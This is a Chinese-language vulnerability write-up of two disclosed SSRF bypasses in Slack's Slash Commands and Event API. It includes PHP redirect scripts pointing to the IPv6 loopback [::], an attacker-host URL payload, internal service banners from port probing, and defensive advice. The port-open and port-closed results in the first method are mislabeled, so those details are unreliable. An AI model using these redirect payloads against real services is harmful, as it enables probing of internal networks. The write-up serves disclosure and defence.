绕过Slack后端SSRF防护机制的技术分析

漏洞背景

Slack是一款广泛使用的协同办公应用平台，全球数百万企业使用它进行团队沟通。本文分析的是Slack接口api.slack.com中存在的两个服务端请求伪造(SSRF)漏洞，攻击者可以利用Slack内置的斜线命令(Slash Commands)和事件接口(Event API)功能绕过SSRF防护机制。

漏洞原理

初始漏洞发现

早期由Nicolas Grégoire报告的漏洞表明：

• Slack的"Integrations/Phabricator"和"Integration/Slash Commands"功能允许用户提交URL
• Slack使用黑名单机制限制对内部资源(loopback, 10.0.0.0/8, 192.168.0.0/24等)的访问
• 但可以使用IPv6格式的[::]地址访问Slack内部主机

修复后的绕过方法

尽管Slack按照建议在外部代理和斜线命令中禁用了IPv6，但防护机制仍可被绕过。

漏洞利用方法

方法一：通过斜线命令(Slash Commands)绕过

1. 配置斜线命令：

   • 登录api.slack.com
   • 在Slack服务中配置斜线命令
   • 设置Request URL为攻击者控制的网站(如http://206.189.204.187/)

2. 设置重定向页面：

   • 在控制的服务器上创建index.php文件：

   <?php
   header("location: http://[::]:22/");
   ?>
   

3. 触发请求：

   • 通过Slack界面执行配置的斜线命令
   • 请求会重定向到Slack内部服务器的22端口

4. 结果分析：

   • 如果端口开放(如22端口)：

     Protocol mismatch. SMTP on TCP/25
     

   • 如果端口关闭(如25端口)：

     220 squid3.tinyspeck.com ESMTP Postfix
     221 2.7.0 Error: I can break rules, too. Goodbye.
     

方法二：通过事件接口(Event API)绕过

1. 配置事件订阅：

   • 访问https://api.slack.com/apps/YOUAPPCODE/event-subscriptions
   • 在Event Subscriptions设置Request URL

2. 设置重定向脚本：

   • 创建x.php文件：

   <?php
   header("location: ".$_GET['u']);
   ?>
   

3. 构造恶意URL：

   • 使用URL编码的IPv6地址：

   http://hacker.site/x.php/?u=http://%5B::%5D:22/
   

4. 结果分析：

   • 端口开放响应：

     "body": {
       SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
       Protocol mismatch.
     }
     

   • 端口关闭响应：

     "body": {
       220 squid-iad-ypfw.tinyspeck.com ESMTP Postfix
       221 2.7.0 Error: I can break rules, too. Goodbye.
     }
     

   • 端口不存在：无响应

漏洞影响

攻击者可以利用这些SSRF漏洞：

• 读取服务器内部资源信息
• 探测内部服务端口和版本信息
• 可能进一步利用进行内部网络探测和攻击

防御建议

1. 全面禁用IPv6：

   • 不仅要在外部代理禁用，还要在所有接受URL输入的功能中禁用IPv6

2. 加强URL验证：

   • 实施更严格的URL格式验证
   • 禁止包含IPv6地址格式的请求

3. 改进黑名单机制：

   • 将[::]等IPv6本地地址加入黑名单
   • 考虑使用白名单机制替代黑名单

4. 输入过滤：

   • 对所有用户提供的URL进行严格过滤和规范化

5. 错误信息处理：

   • 避免返回详细的内部错误信息

时间线

• 2018.7.13：漏洞初报
• 2018.7.13：漏洞分类
• 2019.1.23：Slack发放$500奖励
• 2019.2.22：漏洞披露

总结

本漏洞展示了即使看似完善的防护机制(如IPv6禁用)也可能被绕过。开发者在实现安全防护时需要考虑各种边界情况和替代表示方法，特别是处理用户提供的URL时。防御SSRF需要多层防护，包括输入验证、输出过滤和适当的错误处理。